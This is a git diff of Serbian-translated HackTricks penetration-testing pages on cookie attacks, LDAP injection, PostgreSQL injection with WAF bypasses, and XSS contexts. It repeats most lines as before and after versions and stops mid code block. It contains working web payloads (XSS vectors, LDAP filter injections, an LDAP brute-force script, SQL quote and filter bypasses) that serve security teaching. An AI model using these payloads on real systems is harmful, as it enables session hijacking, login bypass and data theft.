* Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev na ovu stranicu i **ukrade kolačiće** iz odgovora (proverite primer na [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Ovo se može zaobići sa **TRACE** **HTTP** zahtevima jer će odgovor servera (ako je ova HTTP metoda dostupna) odražavati poslate kolačiće. Ova tehnika se naziva **Cross-Site Tracking**.
* Ova tehnika se izbegava od strane **modernih pretraživača koji ne dozvoljavaju slanje TRACE** zahteva iz JS-a. Međutim, neka zaobilaženja su pronađena u specifičnom softveru kao što je slanje `\r\nTRACE` umesto `TRACE` u IE6.0 SP2.
* Drugi način je iskorišćavanje zero/day ranjivosti pretraživača.
* Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada na prelivanje kolačića:
* Ova tehnika se izbegava od strane **modernih pretraživača ne dozvoljavajući slanje TRACE** zahteva iz JS-a. Međutim, neka zaobilaženja su pronađena u specifičnom softveru kao što je slanje `\r\nTRACE` umesto `TRACE` u IE6.0 SP2.
* Drugi način je eksploatacija zero/day ranjivosti pretraživača.
* Moguće je **prepisati HttpOnly kolačiće** izvođenjem napada Cookie Jar overflow:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
@ -96,20 +95,20 @@ Za kolačiće sa prefiksom `__Host-`, mora biti ispunjeno nekoliko uslova:
* Moraju biti postavljeni sa `secure` oznakom.
* Moraju poticati sa stranice zaštićene HTTPS-om.
* Zabranjeno im je da specificiraju domen, sprečavajući njihovu transmisiju na poddomene.
* Zabranjeno im je da specificiraju domen, sprečavajući njihovo prenošenje na poddomene.
* Putanja za ove kolačiće mora biti postavljena na `/`.
Važno je napomenuti da kolačići sa prefiksom `__Host-` ne smeju biti poslati superdomenima ili poddomenima. Ova restrikcija pomaže u izolaciji aplikacionih kolačića. Stoga, korišćenje `__Host-` prefiksa za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
Važno je napomenuti da kolačići sa prefiksom `__Host-` ne smeju biti poslati na superdomenima ili poddomenima. Ova restrikcija pomaže u izolaciji aplikacionih kolačića. Tako, korišćenje `__Host-` prefiksa za sve aplikacione kolačiće može se smatrati dobrom praksom za poboljšanje sigurnosti i izolacije.
### Overwriting cookies
Dakle, jedna od zaštita kolačića sa prefiksom `__Host-` je sprečavanje da budu prepisani iz poddomena. Sprečavanje, na primer, [**Cookie Tossing napada**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) je predstavljeno da je bilo moguće postaviti kolačiće sa prefiksom \_\_HOST- iz poddomena, prevarom parsera, na primer, dodavanjem "=" na početak ili na kraj...:
Dakle, jedna od zaštita kolačića sa prefiksom `__Host-` je sprečavanje da budu prepisani sa poddomena. Sprečavanje, na primer, [**Cookie Tossing napada**](cookie-tossing.md). U predavanju [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) je predstavljeno da je bilo moguće postaviti kolačiće sa prefiksom \_\_HOST- sa poddomena, varajući parser, na primer, dodajući "=" na početak ili na kraj...:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ili u PHP-u je bilo moguće dodati **druge karaktere na početak** imena kolačića koji će biti **zamenjeni donjim crticama**, omogućavajući prepisivanje `__HOST-` kolačića:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
@ -117,15 +116,15 @@ Ako prilagođeni kolačić sadrži osetljive podatke, proverite ga (posebno ako
### Decoding and Manipulating Cookies
Osjetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo ispitani. Kolačići kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj kolačića i pretvaraju se u druge korisnike kodiranjem svojih izmenjenih podataka nazad u kolačić.
Osjetljivi podaci ugrađeni u kolačiće uvek treba da budu pažljivo ispitani. Kolačići kodirani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmene sadržaj kolačića i predstavljaju druge korisnike kodiranjem svojih izmenjenih podataka nazad u kolačić.
### Session Hijacking
Ovaj napad uključuje krađu korisničkog kolačića kako bi se dobio neovlašćen pristup njihovom nalogu unutar aplikacije. Korišćenjem ukradenog kolačića, napadač može da se pretvara da je legitimni korisnik.
Ovaj napad uključuje krađu korisničkog kolačića kako bi se dobio neovlašćen pristup njihovom nalogu unutar aplikacije. Korišćenjem ukradenog kolačića, napadač može predstavljati legitimnog korisnika.
### Session Fixation
U ovom scenariju, napadač prevari žrtvu da koristi određeni kolačić za prijavu. Ako aplikacija ne dodeljuje novi kolačić prilikom prijave, napadač, posedujući originalni kolačić, može se pretvarati da je žrtva. Ova tehnika se oslanja na to da se žrtva prijavi sa kolačićem koji je obezbedio napadač.
U ovom scenariju, napadač vara žrtvu da koristi određeni kolačić za prijavu. Ako aplikacija ne dodeljuje novi kolačić prilikom prijave, napadač, posedujući originalni kolačić, može predstavljati žrtvu. Ova tehnika se oslanja na to da žrtva prijavi sa kolačićem koji je obezbedio napadač.
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
@ -135,7 +134,7 @@ Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitaj
### Session Donation
Ovde, napadač uverava žrtvu da koristi napadačev kolačić sesije. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu napadačevog naloga.
Ovde, napadač ubeđuje žrtvu da koristi napadačev kolačić sesije. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršiti radnje u kontekstu napadačevog naloga.
Ako ste pronašli **XSS u poddomeni** ili **kontrolišete poddomenu**, pročitajte:
@ -179,15 +178,15 @@ document.cookie = "\ud800=meep";
```
Ovo rezultira time da `document.cookie` ispisuje prazan string, što ukazuje na trajnu korupciju.
#### Krađa kolačića zbog problema sa parsiranjem
#### Prevara sa kolačićima zbog problema sa parsiranjem
(Pogledajte dalje detalje u[originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Nekoliko web servera, uključujući one iz Jave (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), pogrešno obrađuju stringove kolačića zbog zastarele podrške za RFC2965. Čitaju vrednost kolačića u dvostrukim navodnicima kao jednu vrednost čak i ako uključuje tačke-zareze, koje bi obično trebale da razdvajaju parove ključ-vrednost:
(Pogledajte dalje detalje u[originalnom istraživanju](https://blog.ankursundara.com/cookie-bugs/)) Nekoliko web servera, uključujući one iz Jave (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), pogrešno obrađuju stringove kolačića zbog zastarele podrške za RFC2965. Čitaju vrednost kolačića u dvostrukim navodnicima kao jednu vrednost čak i ako uključuje tačke-zareze, koje bi obično trebale da odvajaju parove ključ-vrednost:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Vulnerabilities
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow, Zope, i onih koji koriste Pythonov `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara mogućnosti za napade injekcijom kolačića. Ovi serveri ne uspevaju pravilno da odvoje početak novih kolačića, omogućavajući napadačima da lažiraju kolačiće:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Neispravno parsiranje kolačića od strane servera, posebno Undertow, Zope, i onih koji koriste Pythonov `http.cookie.SimpleCookie` i `http.cookie.BaseCookie`, stvara prilike za napade injekcijom kolačića. Ovi serveri ne uspevaju pravilno da odvoje početak novih kolačića, omogućavajući napadačima da lažiraju kolačiće:
* Undertow očekuje novi kolačić odmah nakon citirane vrednosti bez tačke-zareza.
* Zope traži zarez da započne parsiranje sledećeg kolačića.
@ -201,7 +200,7 @@ Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na CSRF za
* **kolačić** je **isti** svaki put kada se **prijavite**.
* Odjavite se i pokušajte da koristite isti kolačić.
* Pokušajte da se prijavite sa 2 uređaja (ili pretraživača) na isti nalog koristeći isti kolačić.
* Pokušajte da se prijavite sa 2 uređaja (ili pregledača) na isti nalog koristeći isti kolačić.
* Proverite da li kolačić sadrži bilo kakve informacije i pokušajte da ga izmenite.
* Pokušajte da kreirate nekoliko naloga sa gotovo istim korisničkim imenom i proverite da li možete primetiti sličnosti.
* Proverite opciju "**zapamti me**" ako postoji da vidite kako funkcioniše. Ako postoji i može biti ranjiva, uvek koristite kolačić **zapamti me** bez bilo kog drugog kolačića.
@ -256,17 +255,16 @@ Kreirajte 2 korisnika sa gotovo istim podacima (korisničko ime, lozinka, email,
Kreirajte korisnika pod imenom "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proverite da li postoji neki obrazac u kolačiću (pošto ECB enkriptuje svaki blok sa istim ključem, isti enkriptovani bajtovi mogu se pojaviti ako je korisničko ime enkriptovano).
Trebalo bi da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako je gomila "a" enkriptovana, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Tada biste mogli da obrišete enkriptovani obrazac bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
Trebalo bi da postoji obrazac (sa veličinom korišćenog bloka). Tako, znajući kako je gomila "a" enkriptovana, možete kreirati korisničko ime: "a"\*(veličina bloka)+"admin". Tada biste mogli da obrišete enkriptovani obrazac jednog bloka "a" iz kolačića. I imaćete kolačić korisničkog imena "admin".
## Reference
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -3,8 +3,8 @@
## LDAP Injection
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,9 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -73,7 +73,7 @@ Primer: `(&(directory=val1)(folder=public))`
Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
### Bypass prijave
### Login Bypass
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, može se desiti da bez obzira na to šta unesete u lozinku, ona bude hash-ovana.
```bash
@ -167,7 +167,7 @@ Možete iterirati preko ascii slova, cifara i simbola:
#### **Otkrivanje validnih LDAP polja**
LDAP objekti **podrazumevano sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati da **brute-force-ujete sve njih kako biste izvukli te informacije.** Možete pronaći listu [**podrazumevanih LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
LDAP objekti **po defaultu sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati da **brute-force-ujete sve njih kako biste izvukli te informacije.** Možete pronaći listu [**default LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# PostgreSQL injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski u pisanju i govoru je obavezno_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poznavanje poljskog jezika u pisanju i govoru je obavezno_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -31,9 +31,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
### **Primer exfiltracije koristeći dblink i velike objekte**
Možete [**pročitati ovaj primer**](dblink-lo\_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim exfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
Možete [**pročitati ovaj primer**](dblink-lo_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim exfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
## PostgreSQL Attacks: Read/write, RCE, privesc
## PostgreSQL napadi: Čitanje/pisanje, RCE, privesc
Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL u:
@ -43,10 +43,10 @@ Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL u:
## WAF bypass
### PostgreSQL String functions
### PostgreSQL funkcije za stringove
Manipulacija stringovima može vam pomoći da **zaobiđete WAF-ove ili druga ograničenja**.\
[**Na ovoj stranici** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**možete pronaći neke korisne funkcije za stringove.**
[**Na ovoj stranici**](https://www.postgresqltutorial.com/postgresql-string-functions/)**možete pronaći neke korisne funkcije za stringove.**
### Stacked Queries
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
```
### Strings in Hex
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao heksadecimalni i na taj način zaobiđete filtre:**
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao hex i na taj način zaobiđete filtre:**
{% code overflow="wrap" %}
```sql
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### Zabranjene navodnike
Ako ne možete koristiti navodnike za vaš payload, možete to zaobići sa `CHR` za osnovne klauzule (_spajanje karaktera funkcioniše samo za osnovne upite kao što su SELECT, INSERT, DELETE, itd. Ne funkcioniše za sve SQL izjave_):
Ako ne možete koristiti navodnike za vaš payload, možete to zaobići sa `CHR` za osnovne klauzule (_konkatenacija karaktera funkcioniše samo za osnovne upite kao što su SELECT, INSERT, DELETE, itd. Ne funkcioniše za sve SQL izjave_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
@ -97,15 +97,15 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
@ -31,7 +31,7 @@ Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljava
4. Javascript **funkcija** koja se **izvršava**
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
4. Ako je **korisno**:
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš unos kontroliše i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se kontroliše vaš unos i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
@ -39,7 +39,7 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
[debugging-client-side-js.md](debugging-client-side-js.md)
{% endcontent-ref %}
## Odražene vrednosti
## Odradene vrednosti
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na web stranici.
@ -51,7 +51,7 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
### Sirovi HTML
### Sirov HTML
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
@ -62,8 +62,8 @@ Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga izvršite proizvoljni kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
```html
@ -280,7 +280,7 @@ Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javasc
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
Napomena da je **svaka vrsta HTML kodiranja validna**:
```javascript
@ -355,7 +355,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Ostali trikovi obfuskacije**
_**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog odeljka su takođe validni jer ste unutar atributa.**_
_**U ovom slučaju, HTML kodiranje i Unicode kodiranje trik iz prethodnog odeljka su takođe validni jer ste unutar atributa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -365,11 +365,11 @@ Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisate **HTML tagove za izvršavanje JS**:
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -381,7 +381,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Obrnuto nabbing taba
### Obrnuto nabbing kartica
```javascript
<a target="_blank" rel="opener"
```
@ -424,7 +424,7 @@ I u **meta tagovima**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **uveriti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
```markup
